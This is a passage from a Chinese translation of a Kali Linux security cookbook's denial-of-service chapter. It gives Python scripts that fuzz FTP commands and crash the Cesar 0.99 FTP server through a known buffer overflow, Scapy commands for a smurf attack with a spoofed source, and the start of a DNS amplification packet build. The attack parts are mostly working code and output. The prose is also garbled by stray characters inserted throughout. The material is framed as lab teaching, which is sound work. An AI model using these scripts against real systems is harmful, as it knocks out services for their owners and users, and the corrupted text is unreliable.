第六章 拒絕服務(wù)(一)
作者:Justin Hutchens
譯者:飛龍
協(xié)議:CC BY-NC-SA 4.0
任何時(shí)候傻谁,當(dāng)你通過(guò)互聯(lián)網(wǎng)訪(fǎng)問(wèn)公開(kāi)資源老充,甚至通過(guò)內(nèi)部網(wǎng)絡(luò)訪(fǎng)問(wèn)小型社區(qū)時(shí),重要的是要考慮拒絕服務(wù)(DoS)攻擊的風(fēng)險(xiǎn)土至。 DoS 攻擊可能令人沮喪购对,并且可能非常昂貴。 最糟糕的是陶因,這些威脅往往是一些最難以緩解的威脅骡苞。 為了能夠正確評(píng)估對(duì)網(wǎng)絡(luò)和信息資源的威脅,必須了解現(xiàn)有的 DoS 威脅的類(lèi)型以及與之相關(guān)的趨勢(shì)。
在單獨(dú)討論列出的每個(gè)秘籍之前烙如,我們應(yīng)該強(qiáng)調(diào)一些基本原則么抗,并了解它們?nèi)绾闻c本章中討論的 DoS 攻擊相關(guān)。 我們將在接下來(lái)的秘籍中討論的 DoS 攻擊可以分為緩沖區(qū)溢出亚铁,流量放大攻擊或資源消耗攻擊蝇刀。 我們將按此順序討論與這些類(lèi)型的攻擊的工作原理相關(guān)的一般原則。
緩沖區(qū)溢出是一種編程漏洞徘溢,可能導(dǎo)致應(yīng)用程序吞琐,服務(wù)或整個(gè)底層操作系統(tǒng)的拒絕服務(wù)。 一般來(lái)說(shuō)然爆,緩沖區(qū)溢出能夠?qū)е戮芙^服務(wù)站粟,因?yàn)樗赡軐?dǎo)致任意數(shù)據(jù)被加載到非預(yù)期的內(nèi)存段。 這可能會(huì)中斷執(zhí)行流程曾雕,并導(dǎo)致服務(wù)或操作系統(tǒng)崩潰奴烙。 流量放大 DoS 攻擊能夠通過(guò)消耗特定服務(wù)器,設(shè)備或網(wǎng)絡(luò)可用的網(wǎng)絡(luò)帶寬來(lái)產(chǎn)生 DoS 條件剖张。 流量放大攻擊需要兩個(gè)條件才能成功切诀。 這些條件如下:
- 重定向:攻擊者必須能夠請(qǐng)求可以重定向到受害者的響應(yīng)。 這通常通過(guò) IP 欺騙來(lái)實(shí)現(xiàn)搔弄。 因?yàn)?UDP 不是面向連接的協(xié)議幅虑,所以使用 UDP 作為其相關(guān)的傳輸層協(xié)議的大多數(shù)應(yīng)用層協(xié)議,可以用于通過(guò)偽造的請(qǐng)求顾犹,將服務(wù)響應(yīng)重定向到其他主機(jī)倒庵。
- 放大:重定向的響應(yīng)必須大于請(qǐng)求該響應(yīng)的請(qǐng)求。 響應(yīng)字節(jié)大小和請(qǐng)求字節(jié)大小的比率越大炫刷,攻擊就越成功擎宝。
例如,如果發(fā)現(xiàn)了生成 10 倍于相關(guān)請(qǐng)求的響應(yīng)的 UDP 服務(wù)柬唯,則攻擊者可以利用該服務(wù)來(lái)潛在地生成 10 倍的攻擊流量认臊,而不是通過(guò)將偽造的請(qǐng)求發(fā)送到 漏洞服務(wù)圃庭,以可能最高的速率傳輸锄奢。 資源消耗攻擊是產(chǎn)生如下的條件的攻擊,其中主機(jī)服務(wù)器或設(shè)備的本地資源被消耗到一定程度剧腻,使得這些資源不再能夠用于執(zhí)行其預(yù)期的操作功能拘央。 這種類(lèi)型的攻擊可以針對(duì)各種本地資源,包括內(nèi)存书在,處理器性能灰伟,磁盤(pán)空間或并發(fā)網(wǎng)絡(luò)連接的可持續(xù)性。
6.1 使用模糊測(cè)試來(lái)識(shí)別緩沖區(qū)溢出
識(shí)別緩沖區(qū)溢出漏洞的最有效的技術(shù)之一是模糊測(cè)試。 模糊測(cè)試通過(guò)將精巧的或隨機(jī)數(shù)據(jù)傳遞給函數(shù)栏账,來(lái)測(cè)試與各種輸入相關(guān)的結(jié)果帖族。 在正確的情況下,輸入數(shù)據(jù)可能逃離其指定的緩沖區(qū)挡爵,并流入相鄰的寄存器或內(nèi)存段竖般。 此過(guò)程將中斷執(zhí)行流程并導(dǎo)致應(yīng)用程序或系統(tǒng)崩潰。 在某些情況下茶鹃,緩沖區(qū)溢出漏洞也可以用于執(zhí)行未經(jīng)授權(quán)的代碼涣雕。 在這個(gè)秘籍中,我們會(huì)討論如何通過(guò)開(kāi)發(fā)自定義的Fuzzing工具闭翩,來(lái)測(cè)試緩沖區(qū)溢出漏洞挣郭。
準(zhǔn)備
為了執(zhí)行遠(yuǎn)程模糊測(cè)試,你需要有一個(gè)運(yùn)行 TCP 或 UDP 網(wǎng)絡(luò)服務(wù)的系統(tǒng)疗韵。 在提供的示例中兑障,使用了擁有 FTP 服務(wù)的 Windows XP 系統(tǒng)。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息蕉汪,請(qǐng)參閱本書(shū)第一章的“安裝 Windows Server”秘籍旺垒。 此外,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫(xiě)入文件系統(tǒng)肤无。 有關(guān)編寫(xiě)腳本的更多信息先蒋,請(qǐng)參閱本書(shū)第一章的“使用文本編輯器(VIM 和 Nano)”秘籍。
工作原理
Python 是一種優(yōu)秀的腳本語(yǔ)言宛渐,可用于高效開(kāi)發(fā)自定義的模糊測(cè)試工具竞漾。 當(dāng)評(píng)估 TCP 服務(wù)時(shí),套接字函數(shù)可用于簡(jiǎn)化執(zhí)行完全三次握手序列窥翩,和連接到監(jiān)聽(tīng)服務(wù)端口的過(guò)程业岁。 任何模糊腳本的主要目的是,將數(shù)據(jù)作為輸入發(fā)送到任何給定的函數(shù)并評(píng)估結(jié)果寇蚊。 我開(kāi)發(fā)了一個(gè)腳本笔时,可以用來(lái)模糊測(cè)試 FTP 服務(wù)的驗(yàn)證后的功能,如下所示:
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 6:
print "Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Payload] [Interval] [Maximum]"
print "Example - ./ftp_fuzz.py 10.0.0.5 21 A 100 1000"
print "Example will fuzz the defined FTP service with a series of payloads"
print "to include 100 'A's, 200 'A's, etc... up to the maximum of 1000"
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
char = str(sys.argv[3])
i = int(sys.argv[4])
interval = int(sys.argv[4])
max = int(sys.argv[5])
user = raw_input(str("Enter ftp username: "))
passwd = raw_input(str("Enter ftp password: "))
command = raw_input(str("Enter FTP command to fuzz: "))
while i <= max:
try:
payload = command + " " + (char * i)
print "Sending " + str(i) + " instances of payload (" + char + ") to target"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((target,port))
s.recv(1024)
s.send('USER ' + user + '\r\n')
s.recv(1024)
s.send('PASS ' + passwd + '\r\n')
s.recv(1024)
s.send(payload + '\r\n')
s.send('QUIT\r\n')
s.recv(1024)
s.close()
i = i + interval
except:
print "\nUnable to send...Server may have crashed"
sys.exit()
print "\nThere is no indication that the server has crashed"
腳本的第一部分定義了 Python 解釋器的位置仗岸,并導(dǎo)入所需的庫(kù)允耿。 第二部分檢查提供的參數(shù)數(shù)量,以確保其與腳本的適當(dāng)用法一致扒怖。 腳本的第三部分定義將在整個(gè)腳本執(zhí)行期間使用的變量较锡。 其中幾個(gè)變量從系統(tǒng)參數(shù)中接收到它們的值,這些參數(shù)在執(zhí)行時(shí)傳遞給腳本盗痒。 剩余的變量通過(guò)接受腳本的用戶(hù)的輸入來(lái)定義蚂蕴。 最后,腳本的其余部分定義了模糊測(cè)試過(guò)程。 我們執(zhí)行ftp_fuzz.py
文件骡楼,如下:
root@KaliLinux:~# ./ftp_fuzz.py
Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Payload] [Interval] [Maximum]
Example - ./ftp_fuzz.py 10.0.0.5 21 A 100 1000
Example will fuzz the defined FTP service with a series of payloads to include 100 'A's, 200 'A's, etc... up to the maximum of 1000
root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 A 100 1000
Enter ftp username: anonymous
Enter ftp password: user@mail.com
Enter FTP command to fuzz: MKD
Sending 100 instances of payload (A) to target
Sending 200 instances of payload (A) to target
Sending 300 instances of payload (A) to target
Sending 400 instances of payload (A) to target
Sending 500 instances of payload (A) to target
Sending 600 instances of payload (A) to target
Sending 700 instances of payload (A) to target
Sending 800 instances of payload (A) to target
Sending 900 instances of payload (A) to target
Sending 1000 instances of payload (A) to target
There is no indication that the server has crashed
如果腳本在沒(méi)有適當(dāng)數(shù)量的系統(tǒng)參數(shù)的情況下執(zhí)行熔号,腳本將返回預(yù)期的用法。有幾個(gè)值必須作為系統(tǒng)參數(shù)來(lái)包含鸟整。要傳遞給腳本的第一個(gè)參數(shù)是目標(biāo) IP 地址跨嘉。此 IP 地址是與運(yùn)行所需模糊測(cè)試的 FTP 服務(wù)的系統(tǒng)相關(guān)的 IP 地址。下一個(gè)參數(shù)是運(yùn)行 FTP 服務(wù)的端口號(hào)吃嘿。在大多數(shù)情況下祠乃,F(xiàn)TP 在 TCP 端口 21 中運(yùn)行。載荷定義了要批量傳遞到服務(wù)的字符或字符序列兑燥。 interval
參數(shù)定義了在一次迭代中傳遞給 FTP 服務(wù)的載荷實(shí)例數(shù)亮瓷。參數(shù)也是這樣的數(shù)量,通過(guò)該數(shù)量降瞳,載荷實(shí)例的數(shù)量將隨著每次連續(xù)迭代增加到最大值嘱支。此最大值由最后一個(gè)參數(shù)的值定義。在使用這些系統(tǒng)參數(shù)執(zhí)行腳本后挣饥,它將請(qǐng)求 FTP 服務(wù)的身份驗(yàn)證憑證除师,并詢(xún)問(wèn)應(yīng)該對(duì)哪個(gè)身份驗(yàn)證后的功能進(jìn)行模糊測(cè)試。在提供的示例中扔枫,模糊測(cè)試對(duì) IP 地址172.16.36.134
的 Windows XP 主機(jī)的 TCP 端口 21 上運(yùn)行的 FTP 服務(wù)執(zhí)行汛聚。匿名登錄憑據(jù)傳遞給了具有任意電子郵件地址的 FTP 服務(wù)。此外短荐,一系列 As 被傳遞到 MKD 驗(yàn)證后的功能倚舀,從 100 個(gè)實(shí)例開(kāi)始,并每次增加 100忍宋,直到達(dá)到最大 1000 個(gè)實(shí)例痕貌。同樣的腳本也可以用來(lái)傳遞載荷中的一系列字符:
root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 ABCD 100 500
Enter ftp username: anonymous
Enter ftp password: user@mail.com
Enter FTP command to fuzz: MKD
Sending 100 instances of payload (ABCD) to target
Sending 200 instances of payload (ABCD) to target
Sending 300 instances of payload (ABCD) to target
Sending 400 instances of payload (ABCD) to target
Sending 500 instances of payload (ABCD) to target
There is no indication that the server has crashed
在所提供的示例中,載荷被定義為ABCD
糠排,并且該載荷的實(shí)例被定義為 100 的倍數(shù)舵稠,直到最大值 500。
工作原理
一般來(lái)說(shuō)入宦,緩沖區(qū)溢出能夠?qū)е戮芙^服務(wù)哺徊,因?yàn)樗鼈兛赡軐?dǎo)致任意數(shù)據(jù)被加載到非預(yù)期的內(nèi)存段。 這可能中斷執(zhí)行流程云石,并導(dǎo)致服務(wù)或操作系統(tǒng)崩潰唉工。 此秘籍中討論的特定腳本的工作原理是研乒,在服務(wù)或操作系統(tǒng)崩潰的情況下汹忠,套接字將不再接受輸入,并且腳本將無(wú)法完成整個(gè)載荷注入序列。 如果發(fā)生這種情況宽菜,腳本需要使用Ctrl + C
強(qiáng)制關(guān)閉谣膳。在這種情況下,腳本會(huì)返回一個(gè)標(biāo)志铅乡,表示后續(xù)的載荷無(wú)法發(fā)送继谚,并且服務(wù)器可能已崩潰。
6.2 FTP 遠(yuǎn)程服務(wù)的緩沖區(qū)溢出 DoS 攻擊
在正確的情況下阵幸,輸入數(shù)據(jù)可能逃離其指定的緩沖區(qū)并流入相鄰的寄存器或內(nèi)存段花履。 此過(guò)程將中斷執(zhí)行流程并導(dǎo)致應(yīng)用程序或系統(tǒng)崩潰。 在某些情況下挚赊,緩沖區(qū)溢出漏洞也可以用于執(zhí)行未經(jīng)授權(quán)的代碼诡壁。 在這個(gè)特定的秘籍中,我們基于 Cesar 0.99 FTP 服務(wù)的緩沖區(qū)溢出荠割,展示如何執(zhí)行 DoS 攻擊的示例妹卿。
準(zhǔn)備
為了執(zhí)行遠(yuǎn)程模糊測(cè)試,你需要有一個(gè)運(yùn)行 TCP 或 UDP 網(wǎng)絡(luò)服務(wù)的系統(tǒng)蔑鹦。 在提供的示例中夺克,使用了擁有 FTP 服務(wù)的 Windows XP 系統(tǒng)。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息嚎朽,請(qǐng)參閱本書(shū)第一章的“安裝 Windows Server”秘籍铺纽。 此外,本節(jié)需要使用文本編輯器(如 VIM 或 Nano)將腳本寫(xiě)入文件系統(tǒng)哟忍。 有關(guān)編寫(xiě)腳本的更多信息室囊,請(qǐng)參閱本書(shū)第一章的“使用文本編輯器(VIM 和 Nano)”秘籍。
操作步驟
有一個(gè)公開(kāi)披露的漏洞與 Cesar 0.99 FTP 服務(wù)相關(guān)魁索。 此漏洞由常見(jiàn)漏洞和披露(CVE)編號(hào)系統(tǒng)定義為 CVE-2006-2961融撞。 通過(guò)對(duì)此漏洞進(jìn)行研究,顯然可以通過(guò)向 MKD 函數(shù)發(fā)送換行字符的驗(yàn)證后序列粗蔚,來(lái)觸發(fā)基于棧的緩沖區(qū)溢出尝偎。 為了避免將\ n
轉(zhuǎn)義序列傳遞給 Python 腳本,以及之后在提供的輸入中正確解釋它的相關(guān)困難鹏控,我們應(yīng)該修改先前秘籍中討論的腳本致扯。 然后,我們可以使用修改的腳本來(lái)利用此現(xiàn)有漏洞:
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 5:
print "Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Interval] [Maximum]"
print "Example - ./ftp_fuzz.py 10.0.0.5 21 100 1000"
print "Example will fuzz the defined FTP service with a series of line break "
print "characters to include 100 '\\n's, 200 '\\n's, etc... up to the maximum of 1000"
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
i = int(sys.argv[3])
interval = int(sys.argv[3])
max = int(sys.argv[4])
user = raw_input(str("Enter ftp username: "))
passwd = raw_input(str("Enter ftp password: "))
command = raw_input(str("Enter FTP command to fuzz: "))
while i <= max:
try:
payload = command + " " + ('\n' * i)
print "Sending " + str(i) + " line break characters to target"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((target,port))
s.recv(1024)
s.send('USER ' + user + '\r\n')
s.recv(1024)
s.send('PASS ' + passwd + '\r\n')
s.recv(1024)
s.send(payload + '\r\n')
s.send('QUIT\r\n')
s.recv(1024)
s.close()
i = i + interval
except:
print "\nUnable to send...Server may have crashed"
sys.exit()
print "\nThere is no indication that the server has crashed"
對(duì)腳本所做的修改包括当辐,修改使用描述和刪除作為提供的參數(shù)的載荷抖僵,然后將換行載荷硬編碼到要按順序發(fā)送的腳本中。
root@KaliLinux:~# ./ftp_fuzz.py
Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Interval] [Maximum]
Example - ./ftp_fuzz.py 10.0.0.5 21 100 1000
Example will fuzz the defined FTP service with a series of line break characters to include 100 '\n's, 200 '\n's, etc... up to the maximum of 1000
root@KaliLinux:~# ./ftp_fuzz.py 172.16.36.134 21 100 1000
Enter ftp username: anonymous
Enter ftp password: user@mail.com
Enter FTP command to fuzz: MKD
Sending 100 line break characters to target
Sending 200 line break characters to target
Sending 300 line break characters to target
Sending 400 line break characters to target
Sending 500 line break characters to target
Sending 600 line break characters to target
Sending 700 line break characters to target
^C
Unable to send...Server may have crashed
如果腳本在沒(méi)有適當(dāng)數(shù)量的系統(tǒng)參數(shù)的情況下執(zhí)行缘揪,腳本將返回預(yù)期的用法耍群。 然后义桂,我們可以執(zhí)行腳本并發(fā)送一系列載荷,它們的數(shù)量為 100 的倍數(shù)蹈垢,最大為 1000慷吊。在發(fā)送 700 個(gè)換行符的載荷后,腳本停止發(fā)送載荷曹抬,并處于空閑狀態(tài)溉瓶。 在一段時(shí)間不活動(dòng)后,腳本使用Ctrl + C
被強(qiáng)制關(guān)閉谤民。腳本表示它已經(jīng)無(wú)法發(fā)送字符堰酿,并且遠(yuǎn)程服務(wù)器可能已經(jīng)崩潰。 看看下面的截圖:
通過(guò)返回到運(yùn)行 Cesar 0.99 FTP 服務(wù)的 Windows XP 主機(jī)张足,我們可以看到server.exe
應(yīng)用程序崩潰了胞锰。 要在拒絕服務(wù)后恢復(fù)操作,必須手動(dòng)重新啟動(dòng) Cesar FTP 服務(wù)兢榨。
工作原理
一般來(lái)說(shuō)嗅榕,緩沖區(qū)溢出能夠?qū)е戮芙^服務(wù),因?yàn)樗鼈兛赡軐?dǎo)致任意數(shù)據(jù)被加載到非預(yù)期的內(nèi)存段吵聪。 這可能中斷執(zhí)行流程凌那,并導(dǎo)致服務(wù)或操作系統(tǒng)崩潰。 此秘籍中討論的特定腳本的工作原理是吟逝,在服務(wù)或操作系統(tǒng)崩潰的情況下帽蝶,套接字將不再接受輸入,并且腳本將無(wú)法完成整個(gè)有效載荷注入序列块攒。 如果發(fā)生這種情況励稳,腳本需要使用Ctrl + C
強(qiáng)制關(guān)閉。在這種情況下囱井,腳本將返回一個(gè)標(biāo)識(shí)驹尼,表明后續(xù)載荷無(wú)法發(fā)送,并且服務(wù)器可能已崩潰庞呕。
6.3 Smurf DoS 攻擊
smurf 攻擊是歷史上用于執(zhí)行分布式拒絕服務(wù)(DDoS)放大攻擊的最古老的技術(shù)之一新翎。 此攻擊包括向網(wǎng)絡(luò)廣播地址發(fā)送一系列 ICMP 回響請(qǐng)求,帶有偽造的源 IP 地址住练。 當(dāng)廣播此回顯請(qǐng)求時(shí)地啰,LAN 上的所有主機(jī)會(huì)同時(shí)對(duì)收到的每個(gè)偽造請(qǐng)求的目標(biāo)進(jìn)行回復(fù)。 這種技術(shù)對(duì)現(xiàn)代系統(tǒng)的效率較低讲逛,因?yàn)榇蠖鄶?shù)系統(tǒng)不會(huì)回復(fù) IP 定向的廣播流量亏吝。
準(zhǔn)備
要執(zhí)行smurf攻擊,您需要有一個(gè)LAN盏混,上面運(yùn)行多個(gè)系統(tǒng)蔚鸥。 提供的示例將 Ubuntu 用作掃描目標(biāo)惜论。 有關(guān)設(shè)置 Ubuntu 的更多信息,請(qǐng)參閱本書(shū)第一章中的“安裝 Ubuntu Server”秘籍。
操作步驟
為了嘗試執(zhí)行傳統(tǒng)的 smurf 攻擊,Scapy 可以用于從零開(kāi)始構(gòu)建必要的數(shù)據(jù)包佳镜。 為了從 Kali Linux 命令行使用 Scapy霜第,請(qǐng)從終端使用scapy
命令,如下所示技羔。 為了向廣播地址發(fā)送 ICMP 請(qǐng)求僵闯,我們必須首先構(gòu)建此請(qǐng)求的層級(jí)。 我們將需要構(gòu)建的第一層是 IP 層:
root@KaliLinux:~# scapy Welcome to Scapy (2.2.0)
>>> i = IP()
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> i.dst = "172.16.36.255"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.224
dst= 172.16.36.255
\options\
要構(gòu)建我們的請(qǐng)求的 IP 層藤滥,我們應(yīng)該將 IP
對(duì)象賦給變量i
鳖粟。 通過(guò)調(diào)用display()
函數(shù),我們可以確定該對(duì)象的屬性配置拙绊。 通常向图,發(fā)送和接收地址都設(shè)為回送地址127.0.0.1
。 可以通過(guò)將i.dst
設(shè)置為廣播地址的字符串值标沪,來(lái)更改目標(biāo)地址并修改這些值榄攀。 通過(guò)再次調(diào)用display()
函數(shù),我們可以看到金句,不僅更新了目的地址檩赢,而且Scapy
也會(huì)自動(dòng)將源 IP 地址更新為與默認(rèn)接口相關(guān)的地址。 現(xiàn)在我們已經(jīng)構(gòu)建了請(qǐng)求的 IP 層违寞,我們應(yīng)該繼續(xù)構(gòu)建 ICMP 層:
>>> ping = ICMP()
>>> ping.display()
###[ ICMP ]###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0x0
要構(gòu)建我們的請(qǐng)求的 ICMP 層贞瞒,我們將使用與 IP 層相同的技術(shù)。 默認(rèn)情況下趁曼,ICMP 層已配置為執(zhí)行回顯請(qǐng)求军浆。 現(xiàn)在我們已經(jīng)創(chuàng)建了 IP 和 ICMP 層,我們需要通過(guò)堆疊這些層來(lái)構(gòu)造請(qǐng)求:
>>> request = (i/ping)
>>> request.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= icmp
chksum= None
src= 172.16.36.224
dst= 172.16.36.255
\options\
###[ ICMP ]###
type= echo-request
code= 0
chksum= None
id= 0x0
seq= 0x0
>>> send(request)
.
Sent 1 packets.
可以通過(guò)使用斜杠分隔變量挡闰,來(lái)堆疊 IP 和 ICMP 層瘾敢。 然后可以將這些層及賦給表示整個(gè)請(qǐng)求的新變量。 然后可以調(diào)用display()
函數(shù)來(lái)查看請(qǐng)求的配置尿这。 一旦建立了請(qǐng)求簇抵,就可以將其傳遞給函數(shù)。 可以使用 Wireshark 或 TCPdump 等數(shù)據(jù)包捕獲工具來(lái)監(jiān)控結(jié)果射众。 在提供的示例中碟摆,Wireshark 顯示,LAN 上的兩個(gè) IP 地址響應(yīng)了廣播回響請(qǐng)求:
實(shí)際上叨橱,兩個(gè)響應(yīng)地址不足以執(zhí)行有效的 DoS 攻擊典蜕。 如果這個(gè)練習(xí)復(fù)制到另一個(gè)具有半現(xiàn)代化主機(jī)的實(shí)驗(yàn)室中断盛,結(jié)果很可能是類(lèi)似的。 在有足夠的響應(yīng)地址來(lái)觸發(fā)拒絕服務(wù)的情況下愉舔,源地址將需要替換為了攻擊目標(biāo)的 IP 地址:
>>> send(IP(dst="172.16.36.255",src="172.16.36.135")/ ICMP(),count=100,verbose=1)
......................................................................... ...........................
Sent 100 packets.
在提供的示例中钢猛,Scapy 的單行命令用于執(zhí)行與之前討論的相同操作,但此時(shí)除外轩缤,源 IP 地址被偽造為 LAN 上另一個(gè)系統(tǒng)的地址命迈。 此外,count
可用于按順序發(fā)送多個(gè)請(qǐng)求火的。
工作原理
放大攻擊的原理是利用第三方設(shè)備壶愤,使網(wǎng)絡(luò)流量壓倒目標(biāo)。 對(duì)于多數(shù)放大攻擊馏鹤,必須滿(mǎn)足兩個(gè)條件:
- 用于執(zhí)行攻擊的協(xié)議不驗(yàn)證請(qǐng)求源
- 來(lái)自所使用的網(wǎng)絡(luò)功能的響應(yīng)應(yīng)該顯著大于用于請(qǐng)求它的請(qǐng)求征椒。
傳統(tǒng) smurf 攻擊的效率取決于 LAN 上響應(yīng) IP 定向的廣播流量的主機(jī)。 這種主機(jī)從目標(biāo)系統(tǒng)的偽造 IP 地址接收 ICMP 廣播回響請(qǐng)求湃累,然后針對(duì)接收到的每個(gè)請(qǐng)求同時(shí)返回 ICMP 回響應(yīng)答勃救。
6.4 DNS 放大 DoS 攻擊
DNS放大攻擊通過(guò)對(duì)給定域執(zhí)行所有類(lèi)型記錄的偽造查詢(xún),來(lái)利用開(kāi)放的 DNS 解析器治力。 通過(guò)同時(shí)向多個(gè)開(kāi)放的解析器發(fā)送請(qǐng)求來(lái)使用 DDoS 組件蒙秒,可以提高這種攻擊的效率。
準(zhǔn)備
為了模擬 DNS 放大攻擊琴许,你需要有一個(gè)本地名稱(chēng)服務(wù)器税肪,或知道一個(gè)開(kāi)放和可公開(kāi)訪(fǎng)問(wèn)的名稱(chēng)服務(wù)器的 IP 地址。 提供的示例將 Ubuntu 用作掃描目標(biāo)榜田。 有關(guān)設(shè)置 Ubuntu 的更多信息益兄,請(qǐng)參閱本書(shū)第一章中的“安裝 Ubuntu Server”秘籍。
操作步驟
為了了解 DNS 放大的工作原理箭券,可以使用基本的 DNS 查詢(xún)工具净捅,如host
,dig
或nslookup
辩块。 通過(guò)對(duì)與已建立的域相關(guān)的所有記錄類(lèi)型執(zhí)行請(qǐng)求蛔六,你將注意到一些請(qǐng)求返回了相當(dāng)大的響應(yīng):
root@KaliLinux:~# dig ANY google.com @208.67.220.220
; <<>> DiG 9.8.4-rpz2+rl005.12-P1 <<>> ANY google.com @208.67.220.220
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 41539
;; flags: qr rd ra; QUERY: 1, ANSWER: 17, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION: ;
google.com. IN ANY
;; ANSWER SECTION:
google.com. 181 IN A 74.125.232.101
google.com. 181 IN A 74.125.232.97
google.com. 181 IN A 74.125.232.102
google.com. 181 IN A 74.125.232.99
google.com. 181 IN A 74.125.232.104
google.com. 181 IN A 74.125.232.96
google.com. 181 IN A 74.125.232.100
google.com. 181 IN A 74.125.232.103
google.com. 181 IN A 74.125.232.105
google.com. 181 IN A 74.125.232.98
google.com. 181 IN A 74.125.232.110
google.com. 174 IN AAAA 2607:f8b0:4004:803::1007
google.com. 167024 IN NS ns2.
google.com.
google.com. 167024 IN NS ns1.
google.com.
google.com. 167024 IN NS ns3.
google.com.
google.com. 167024 IN NS ns4.
google.com.
google.com. 60 IN SOA ns1.
google.com. dns-admin.
google.com. 1545677 7200 1800 1209600 300
;; Query time: 7 msec
;; SERVER: 208.67.220.220#53(208.67.220.220)
;; WHEN: Thu Dec 19 02:40:16 2013
;; MSG SIZE rcvd: 35
在提供的示例中,與google.com
域相關(guān)的所有記錄類(lèi)型的請(qǐng)求返回了一個(gè)響應(yīng)废亭,包含11個(gè)A記錄国章,1個(gè)AAAA記錄,4個(gè)NS記錄和1個(gè)SOA記錄豆村。 DNS放大攻擊的效率與響應(yīng)大小直接相關(guān)液兽。 我們現(xiàn)在將嘗試使用 Scapy 中構(gòu)建的數(shù)據(jù)包執(zhí)行相同的操作。 要發(fā)送我們的 DNS 查詢(xún)請(qǐng)求掌动,我們必須首先構(gòu)建此請(qǐng)求的層級(jí)四啰。 我們需要構(gòu)建的第一層是 IP 層:
root@KaliLinux:~# scapy Welcome to Scapy (2.2.0)
>>> i = IP()
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> i.dst = "208.67.220.220"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.180
dst= 208.67.220.220
\options\
要構(gòu)建我們的請(qǐng)求的 IP 層宁玫,我們應(yīng)該將 IP
對(duì)象賦給變量i
。 通過(guò)調(diào)用display()
函數(shù)柑晒,我們可以確定該對(duì)象的屬性配置欧瘪。 通常,發(fā)送和接收地址都設(shè)為回送地址127.0.0.1
匙赞。 可以通過(guò)將i.dst
設(shè)置為廣播地址的字符串值佛掖,來(lái)更改目標(biāo)地址并修改這些值。 通過(guò)再次調(diào)用display()
函數(shù)罚屋,我們可以看到苦囱,不僅更新了目的地址嗅绸,而且Scapy
也會(huì)自動(dòng)將源 IP 地址更新為與默認(rèn)接口相關(guān)的地址脾猛。 現(xiàn)在我們已經(jīng)構(gòu)建了請(qǐng)求的 IP 層,我們應(yīng)該繼續(xù)構(gòu)建 UDP 層:
>>> u = UDP()
>>> u.display()
###[ UDP ]###
sport= domain
dport= domain
len= None
chksum= None
>>> u.dport 53
要構(gòu)建我們的請(qǐng)求的 UDP 層鱼鸠,我們將使用與IP層相同的技術(shù)猛拴。 在提供的示例中,UDP
對(duì)象賦給了u
變量蚀狰。 如前所述愉昆,可以通過(guò)調(diào)用display()
函數(shù)來(lái)確定默認(rèn)配置。 在這里麻蹋,我們可以看到源和目標(biāo)端口的默認(rèn)值都列為domain
跛溉。 您可能能猜到,這表示與端口 53 相關(guān)的 DNS服 務(wù)扮授。DNS 是一種常見(jiàn)的服務(wù)芳室,通常可以在網(wǎng)絡(luò)系統(tǒng)上發(fā)現(xiàn)刹勃。 要確認(rèn)這一點(diǎn)堪侯,我們可以通過(guò)引用變量名和屬性直接調(diào)用該值。 既然已經(jīng)構(gòu)建了 IP 和 UDP 層荔仁,我們需要構(gòu)建 DNS 層:
>>> d = DNS()
>>> d.display()
###[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 0
ra= 0
z= 0
rcode= ok
qdcount= 0
ancount= 0
nscount= 0
arcount= 0
qd= None
an= None
ns= None
ar= None
為了構(gòu)建我們的請(qǐng)求的DNS層伍宦,我們將使用與 IP 和 UDP 層相同的技術(shù)。 在提供的示例中乏梁,DNS 對(duì)象賦給了d
變量次洼。 如前所述,可以通過(guò)調(diào)用display()
函數(shù)來(lái)確定默認(rèn)配置遇骑。 在這里卖毁,我們可以看到有幾個(gè)值需要修改:
>>> d.rd = 1
>>> d.qdcount = 1
>>> d.display()
###[ DNS ]###
id= 0
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcount= 0
qd= None
an= None
ns= None
ar= None
RD 位需要被激活; 這可以通過(guò)將rd
值設(shè)置為 1 來(lái)實(shí)現(xiàn)。此外质蕉,需要為qdcount
提供值0x0001
; 這可以通過(guò)提供整數(shù)值 1 來(lái)完成势篡。通過(guò)再次調(diào)用display()
函數(shù)翩肌,我們可以驗(yàn)證是否已經(jīng)調(diào)整了配置。 現(xiàn)在已經(jīng)構(gòu)建了 IP禁悠,UDP 和 DNS 層念祭,我們需要構(gòu)建一個(gè) DNS 問(wèn)題記錄以分配給qd
值:
>>> q = DNSQR()
>>> q.display()
###[ DNS Question Record ]###
qname= '.'
qtype= A
qclass= IN
